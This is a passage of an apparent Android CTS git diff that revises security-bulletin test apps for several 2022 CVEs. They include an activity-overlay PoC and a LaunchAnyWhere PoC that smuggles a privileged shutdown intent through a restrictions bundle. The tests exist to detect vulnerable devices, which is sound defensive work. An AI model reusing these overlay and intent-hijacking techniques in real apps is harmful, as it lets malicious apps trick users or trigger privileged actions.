+ boolean isValidConfiguration =
+ mFirstPocActivityBounds.equals(mPocAttackerActivityBounds);
+ if (isValidConfiguration) {
+ checkResult(getStringRes(R.string.resultKey));
+ } else {
+ // Device might have 2 task display areas. Detect vulnerability in this case.
+ mDevice.pressHome();
+ assumeTrue(mDevice.wait(Until.gone(By.pkg(mContext.getPackageName())), timeoutSec));
+ mIsVulnerable = true;
+ mIsVulnerable2 = true;
+ launchMainActivity(getIntegerRes(R.integer.threeActivities));
+ preferenceChanged.tryAcquire(getIntegerRes(R.integer.permitCount), timeoutSec,
+ TimeUnit.SECONDS);
+ preferenceChanged2.tryAcquire(timeoutSec, TimeUnit.SECONDS);
+
+ // check if attacker activity is able to overlay any of the victim activities
+ mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName());
+ String secondActivityName = getStringRes(R.string.secondPocAppPkg) + "/."
+ + getStringRes(R.string.secondActivity);
+ mSecondPocActivityBounds = getBounds(secondActivityName);
+ mPocAttackerActivityBounds = getBounds(attackerActivityName);
+ Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds);
+ Log.e("DeviceTest", "mSecondPocActivityBounds=" + mSecondPocActivityBounds);
+ Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds);
+ isValidConfiguration = mFirstPocActivityBounds.equals(mPocAttackerActivityBounds);
+ boolean isValidConfiguration2 =
+ mSecondPocActivityBounds.equals(mPocAttackerActivityBounds);
+ assumeTrue(
+ getStringRes(R.string.boundsNotEqualMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ isValidConfiguration || isValidConfiguration2);
+
+ if (isValidConfiguration) {
+ checkResult(getStringRes(R.string.resultKey));
+ } else {
+ checkResult(getStringRes(R.string.resultKey2));
+ }
+ }
+ } catch (Exception e) {
assumeNoException(e);
}
- int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
- getIntegerRes(R.integer.assumptionFailure));
- String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
- getStringRes(R.string.assumptionFailureMessage));
- assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
- assertNotEquals(message, result, getIntegerRes(R.integer.fail));
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
index 038335e8711..c89986b9eaf 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
@@ -21,29 +21,35 @@ import android.content.Context;
import android.content.SharedPreferences;
import android.os.Bundle;
-public class PocActivity extends Activity {
+public class FirstPocActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- setSharedPreferenes(getResources().getInteger(R.integer.fail),
- getString(R.string.failMessage));
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ setSharedPreferenes(getResources().getInteger(R.integer.fail));
}
@Override
protected void onPause() {
super.onPause();
- setSharedPreferenes(getResources().getInteger(R.integer.pass),
- getString(R.string.passMessage));
+ setSharedPreferenes(getResources().getInteger(R.integer.pass));
}
- void setSharedPreferenes(int result, String message) {
- SharedPreferences sh =
- getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
- SharedPreferences.Editor edit = sh.edit();
- edit.putInt(getString(R.string.resultKey), result);
- edit.putString(getString(R.string.messageKey), message);
- edit.commit();
+ void setSharedPreferenes(int result) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
index 7a4e841f6fd..94de7f09a60 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
@@ -17,7 +17,6 @@
package android.security.cts.CVE_2022_20007;
import android.app.Activity;
-import android.content.ActivityNotFoundException;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -30,30 +29,48 @@ public class PocMainActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- launchAttack();
- }
-
- public void launchAttack() {
- String testPkgName = getPackageName();
- final Intent coverIntent = new Intent();
- coverIntent.setComponent(new ComponentName("android.security.cts.CVE_2022_20007_attacker",
- "android.security.cts.CVE_2022_20007_attacker.PocActivity"));
- coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION |
- Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
- final Intent victimIntent = new Intent(PocMainActivity.this, PocActivity.class);
- victimIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
- Intent[] intents = {victimIntent, coverIntent};
try {
- startActivities(intents);
- } catch (ActivityNotFoundException e) {
- SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
- Context.MODE_PRIVATE);
- SharedPreferences.Editor edit = sh.edit();
- edit.putInt(getString(R.string.resultKey),
- getResources().getInteger(R.integer.assumptionFailure));
- edit.putString(getString(R.string.messageKey),
- getString(R.string.assumptionFailureMessage));
- edit.commit();
+ String testPkgName = getPackageName();
+ final Intent coverIntent = new Intent();
+ coverIntent.setComponent(new ComponentName(getString(R.string.attackerPkg),
+ getString(R.string.attackerPkg) + "." + getString(R.string.attackerActivity)));
+ coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NEW_TASK
+ | Intent.FLAG_ACTIVITY_MULTIPLE_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ final Intent victimIntent = new Intent(PocMainActivity.this, FirstPocActivity.class);
+ victimIntent
+ .setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ int numActivities = getIntent().getIntExtra(getString(R.string.numActivities),
+ /* default */ getResources().getInteger(R.integer.twoActivities));
+ if (numActivities == getResources().getInteger(R.integer.twoActivities)) {
+ Intent[] intents = {victimIntent, coverIntent};
+ startActivities(intents);
+ } else {
+ final Intent secondVictimIntent = new Intent();
+ secondVictimIntent.setComponent(new ComponentName(
+ getString(R.string.secondPocAppPkg), getString(R.string.secondPocAppPkg)
+ + "." + getString(R.string.secondActivity)));
+ secondVictimIntent.setFlags(
+ Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ startActivity(victimIntent);
+
+ // wait to prevent both the victim activities from getting launched on same display
+ Thread.sleep(5000);
+ Intent[] intents2 = {secondVictimIntent, coverIntent};
+ startActivities(intents2);
+ }
+ } catch (Exception e) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey),
+ getResources().getInteger(R.integer.assumptionFailure));
+ edit.putString(getString(R.string.messageKey),
+ getString(R.string.assumptionFailureMessage));
+ edit.commit();
+ } catch (Exception ex) {
+ // ignore exception here
+ }
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
new file mode 100644
index 00000000000..582076e2d23
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20197",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml
new file mode 100644
index 00000000000..3ea2a62f7bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2022_20197">
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20197" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml
new file mode 100644
index 00000000000..c9a9407b3da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="vulnerableMsg">Device is vulnerable to b/208279300!</string>
+ <string name="stringObj">CVE_2022_20197</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java
new file mode 100644
index 00000000000..a7b56187d47
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20197;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.PendingIntent;
+import android.content.res.Resources;
+import android.os.Parcel;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testParcel() {
+ try {
+ Resources resources = getApplicationContext().getResources();
+ Parcel parcel = Parcel.obtain();
+ Object cookie = (Object) resources.getString(R.string.stringObj);
+ parcel.setClassCookie(PendingIntent.class, cookie);
+ parcel.recycle();
+ Object value = parcel.getClassCookie(PendingIntent.class);
+ assertNull(resources.getString(R.string.vulnerableMsg), value);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
index 6257834e8fa..4a250ceda12 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
@@ -15,16 +15,18 @@
limitations under the License.
-->
<resources>
- <string name="appSettingsIconResId">com.android.settings:id/app_restrictions_settings</string>
+ <string name="allowAppsTextResId">restricted_profile_configure_apps_title</string>
+ <string name="appSettingsIconResId">%1$s:id/app_restrictions_settings</string>
+ <string name="customizeRestrictionsTextResId">restricted_profile_customize_restrictions</string>
<string name="messageKey">message</string>
<string name="resType">string</string>
<string name="sharedPreferences">SharedPreferences</string>
+ <string name="shutdownMsgResId">shutdown_confirm</string>
<string name="testFailMsg">
Vulnerable to b/223578534!! LaunchAnyWhere in AppRestrictionsFragment due to unsafe package
check
</string>
<string name="textResId">user_restrictions_title</string>
<string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string>
- <string name="uriData">tel:555-TEST</string>
<string name="userName">CVE_2022_20223_RestrictedUser</string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
index e47e593f31a..92b1df205bf 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
@@ -24,10 +24,10 @@ import static org.junit.Assume.assumeTrue;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.os.Bundle;
import android.provider.Settings;
-import android.telecom.TelecomManager;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
@@ -43,10 +43,11 @@ public class DeviceTest {
private static final int TIMEOUT_MS = 20000;
private UiDevice mDevice;
private Context mContext;
+ private PackageManager mPackageManager;
- private String getDefaultDialerPackage() {
- TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
- return telecomManager.getSystemDialerPackage();
+ boolean isTV() {
+ return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+ || mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
}
// Wait for UiObject to appear and click on the UiObject if it is visible
@@ -63,47 +64,77 @@ public class DeviceTest {
try {
mDevice = UiDevice.getInstance(getInstrumentation());
mContext = getInstrumentation().getContext();
+ mPackageManager = mContext.getPackageManager();
+ if (isTV()) {
+ Intent intent = new Intent(Settings.ACTION_SECURITY_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
- Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- mContext.startActivity(intent);
+ // Click on text "Allowed apps"
+ String settingsPackageName =
+ intent.resolveActivity(mPackageManager).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(settingsPackageName);
+ String text = res.getString(
+ res.getIdentifier(mContext.getString(R.string.allowAppsTextResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ BySelector selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
- BySelector selector = By.text(mContext.getString(R.string.userName));
- assumeTrue(
- mContext.getString(R.string.timedOutMsg, mContext.getString(R.string.userName)),
- clickUiObject(selector));
+ // Click on text "Customize restrictions"
+ text = res.getString(res.getIdentifier(
+ mContext.getString(R.string.customizeRestrictionsTextResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ } else {
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
- String settingsPackageName =
- intent.resolveActivity(mContext.getPackageManager()).getPackageName();
- Context settingsContext = mContext.createPackageContext(settingsPackageName,
- Context.CONTEXT_IGNORE_SECURITY);
- Resources res = settingsContext.getPackageManager()
- .getResourcesForApplication(settingsPackageName);
- String text = settingsContext
- .getString(res.getIdentifier(mContext.getString(R.string.textResId),
- mContext.getString(R.string.resType), settingsPackageName));
- selector = By.text(text);
- assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ // Click on text "CVE_2022_20223_RestrictedUser"
+ BySelector selector = By.text(mContext.getString(R.string.userName));
+ assumeTrue(mContext.getString(R.string.timedOutMsg,
+ mContext.getString(R.string.userName)), clickUiObject(selector));
- selector = By.res(mContext.getString(R.string.appSettingsIconResId));
- assumeTrue(
- mContext.getString(R.string.timedOutMsg,
- mContext.getString(R.string.appSettingsIconResId)),
- clickUiObject(selector));
+ // Click on text "App & content access"
+ String settingsPackageName =
+ intent.resolveActivity(mPackageManager).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(settingsPackageName);
+ String text =
+ res.getString(res.getIdentifier(mContext.getString(R.string.textResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ // Click on icon with resource-id "<settingsPackage>:id/app_restrictions_settings"
+ selector = By.res(
+ mContext.getString(R.string.appSettingsIconResId, settingsPackageName));
+ assumeTrue(
+ mContext.getString(R.string.timedOutMsg, mContext
+ .getString(R.string.appSettingsIconResId, settingsPackageName)),
+ clickUiObject(selector));
+ }
+ // Check if ShutDown activity is launched indicating presence of vulnerability
+ String androidPackageName =
+ PocBroadcastReceiver.getShutdownDefaultComponent(mContext).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(androidPackageName);
+ String text =
+ res.getString(res.getIdentifier(mContext.getString(R.string.shutdownMsgResId),
+ mContext.getString(R.string.resType), androidPackageName));
assertFalse(mContext.getString(R.string.testFailMsg),
- mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())), TIMEOUT_MS));
+ mDevice.wait(Until.hasObject(By.text(text)), TIMEOUT_MS));
} catch (Exception e) {
assumeNoException(e);
} finally {
try {
+ // Check occurrence of any exception in PocBroadcastReceiver
SharedPreferences sharedPrefs = mContext.getSharedPreferences(
mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
String assumptionFailure =
sharedPrefs.getString(mContext.getString(R.string.messageKey), null);
assumeTrue(assumptionFailure, assumptionFailure == null);
} catch (Exception e) {
- assumeNoException(e);
+ // Ignore exceptions here
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
index c3c7083df18..6df2b9db7fe 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
@@ -26,9 +26,8 @@ import android.os.Bundle;
public class PocBroadcastReceiver extends BroadcastReceiver {
- ComponentName getPrivilegeCallDefaultComponent(Context context) {
- Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED);
- intent.setData(Uri.parse(context.getString(R.string.uriData)));
+ static ComponentName getShutdownDefaultComponent(Context context) {
+ Intent intent = new Intent(Intent.ACTION_REQUEST_SHUTDOWN);
return intent.resolveActivity(context.getPackageManager());
}
@@ -36,14 +35,14 @@ public class PocBroadcastReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
try {
Bundle result = new Bundle();
- Intent dialIntent = new Intent();
- dialIntent.setComponent(getPrivilegeCallDefaultComponent(context));
- dialIntent.setPackage(context.getPackageName());
- dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
- dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
- result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ Intent shutDownIntent = new Intent();
+ shutDownIntent.setComponent(getShutdownDefaultComponent(context));
+ shutDownIntent.setPackage(context.getPackageName());
+ shutDownIntent.setAction(Intent.ACTION_REQUEST_SHUTDOWN);
+ shutDownIntent.putExtra(Intent.EXTRA_KEY_CONFIRM, true);
+ shutDownIntent.putExtra(Intent.EXTRA_USER_REQUESTED_SHUTDOWN, true);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, shutDownIntent);
setResultExtras(result);
- return;
} catch (Exception e) {
SharedPreferences sh = context.getSharedPreferences(
context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
index 52f43c5d979..ec61aa1fdf6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
@@ -63,25 +63,20 @@ public class DeviceTest {
return mContext.getResources().getInteger(resId);
}
+ void switchBluetoothMode(String action) {
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(mContext.getString(R.string.btAction), action);
+ mContext.startActivity(intent);
+ }
+
@Test
public void testBluetoothDiscoverable() {
OnSharedPreferenceChangeListener sharedPrefListener;
SharedPreferences sharedPrefs;
boolean btState = false;
try {
- BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
-
- // Save the state of bluetooth adapter to reset after the test
- btState = btAdapter.isEnabled();
-
- // If bluetooth is disabled, enable it and wait for start activity to complete
mContext = InstrumentationRegistry.getInstrumentation().getContext();
- Intent intent = new Intent(mContext, PocActivity.class);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.putExtra(mContext.getString(R.string.btAction),
- BluetoothAdapter.ACTION_REQUEST_ENABLE);
- mContext.startActivity(intent);
-
Resources resources = mContext.getResources();
sharedPrefs = mContext.getSharedPreferences(
resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
@@ -96,6 +91,25 @@ public class DeviceTest {
}
};
sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
+ BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+
+ // Save the state of bluetooth adapter to reset after the test
+ btState = btAdapter.isEnabled();
+
+ // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode
+ if (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE) {
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
+ assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS));
+ int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
+ resources.getInteger(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
+ resources.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
+ }
+
+ // Enable bluetooth if in disabled state
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE);
assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
TimeUnit.MILLISECONDS));
int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
@@ -107,6 +121,9 @@ public class DeviceTest {
// Checking if bluetooth is enabled. The test requires bluetooth to be enabled
assumeTrue(btAdapter.isEnabled());
+ // Checking if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
+ assumeTrue(btAdapter.getScanMode() != btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
// Launch bluetooth settings which is supposed to set scan mode to
// SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
UiAutomation uiautomation =
@@ -114,7 +131,7 @@ public class DeviceTest {
uiautomation
.adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
String settingsPkg = getSettingsPkgName();
- intent = new Intent();
+ Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri.parse(mContext.getString(R.string.uri)));
intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
@@ -135,11 +152,7 @@ public class DeviceTest {
try {
// Disable bluetooth if it was OFF before the test
if (!btState) {
- Intent intent = new Intent(mContext, PocActivity.class);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.putExtra(mContext.getString(R.string.btAction),
- BluetoothAdapter.ACTION_REQUEST_DISABLE);
- mContext.startActivity(intent);
+ switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
TimeUnit.MILLISECONDS));
}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
index c7feda651c3..f07f9d34e64 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
@@ -61,12 +61,13 @@ public class AppOpsTests extends DeviceTestCase implements IBuildReceiver {
protected void setUp() throws Exception {
super.setUp();
- mTransformedFromOp.clear();
- // The hotword op is allowed to all UIDs on TV and Auto devices.
- if (!(DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)
- || DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY))) {
- mTransformedFromOp.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
- }
+ // Temporarily commented out until the Trusted Hotword requirement is enforced again.
+ // mTransformedFromOp.clear();
+ // // The hotword op is allowed to all UIDs on TV and Auto devices.
+ // if (!(DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)
+ // || DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY))) {
+ // mTransformedFromOp.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
+ // }
assertThat(mCtsBuild).isNotNull();
ConfigUtils.removeConfig(getDevice());
diff --git a/tests/PhotoPicker/TEST_MAPPING b/tests/PhotoPicker/TEST_MAPPING
index e0e0c9beff7..2a55a282417 100644
--- a/tests/PhotoPicker/TEST_MAPPING
+++ b/tests/PhotoPicker/TEST_MAPPING
@@ -11,6 +11,16 @@
],
"presubmit": [
{
+ "name": "CtsPhotoPickerTest",
+ "options": [
+ {
+ "exclude-annotation": "androidx.test.filters.LargeTest"
+ }
+ ]
+ }
+ ],
+ "postsubmit": [
+ {
"name": "CtsPhotoPickerTest"
}
]
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
index 913b004d0a1..48c1ea16b54 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
@@ -33,6 +33,7 @@ import android.content.Intent;
import android.net.Uri;
import android.provider.MediaStore;
+import androidx.test.filters.LargeTest;
import androidx.test.filters.SdkSuppress;
import androidx.test.uiautomator.UiObject;
import androidx.test.uiautomator.UiSelector;
@@ -55,6 +56,7 @@ import java.util.List;
* Photo Picker Device only tests for cross profile interaction flows.
*/
@RunWith(BedsteadJUnit4.class)
+@LargeTest
public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
@ClassRule @Rule
public static final DeviceState sDeviceState = new DeviceState();
